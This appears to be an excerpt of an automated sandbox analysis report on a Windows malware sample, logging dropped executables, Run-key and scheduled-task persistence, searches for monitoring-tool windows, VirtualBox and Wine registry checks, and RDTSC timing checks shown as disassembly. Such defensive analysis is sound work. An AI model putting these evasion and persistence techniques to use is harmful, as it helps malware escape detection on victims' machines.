Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f5d46eacf9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f5d46eacf9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a0a3a50765.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a0a3a50765.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9777a59422.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9777a59422.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 796ccdd7ba.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 796ccdd7ba.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: 5468191780.exe PID: 1228, type: MEMORYSTR

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDF095 second address: BDE88F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F20FCE83CACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jne 00007F20FCE83CB2h 0x00000013 push dword ptr [ebp+122D0699h] 0x00000019 jnp 00007F20FCE83CACh 0x0000001f mov dword ptr [ebp+122D1BE8h], ecx 0x00000025 call dword ptr [ebp+122D2118h] 0x0000002b pushad 0x0000002c sub dword ptr [ebp+122D2EBBh], esi 0x00000032 xor eax, eax 0x00000034 pushad 0x00000035 xor cl, FFFFFFCDh 0x00000038 sbb dx, A49Bh 0x0000003d popad 0x0000003e mov edx, dword ptr [esp+28h] 0x00000042 xor dword ptr [ebp+122D2EBBh], edx 0x00000048 mov dword ptr [ebp+122D28D4h], eax 0x0000004e stc 0x0000004f mov esi, 0000003Ch 0x00000054 pushad 0x00000055 pushad 0x00000056 jnl 00007F20FCE83CA6h 0x0000005c mov dword ptr [ebp+122D2EBBh], ebx 0x00000062 popad 0x00000063 popad 0x00000064 add esi, dword ptr [esp+24h] 0x00000068 je 00007F20FCE83CADh 0x0000006e jg 00007F20FCE83CA7h 0x00000074 lodsw 0x00000076 add dword ptr [ebp+122D2EBBh], esi 0x0000007c add eax, dword ptr [esp+24h] 0x00000080 add dword ptr [ebp+122D2EBBh], esi 0x00000086 mov ebx, dword ptr [esp+24h] 0x0000008a pushad 0x0000008b mov dword ptr [ebp+122D21A1h], ebx 0x00000091 mov esi, dword ptr [ebp+122D2938h] 0x00000097 popad 0x00000098 nop 0x00000099 push eax 0x0000009a push edx 0x0000009b push esi 0x0000009c pushad 0x0000009d popad 0x0000009e pop esi 0x0000009f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDE88F second address: BDE8B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F20FD6D8E68h 0x00000013 jmp 00007F20FD6D8E62h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4EC8A second address: D4EC96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jbe 00007F20FCE83CA6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D61C6B second address: D61C6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D61C6F second address: D61C73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D61C73 second address: D61C79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D61C79 second address: D61C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F20FCE83CB7h 0x0000000d jg 00007F20FCE83CA6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D62062 second address: D62071 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F20FD6D8E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D62071 second address: D62075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D62075 second address: D6209C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E5Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F20FD6D8E5Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6209C second address: D620AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F20FCE83CABh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D652FB second address: D652FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D652FF second address: D6531B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F20FCE83CAEh 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 rdtsc
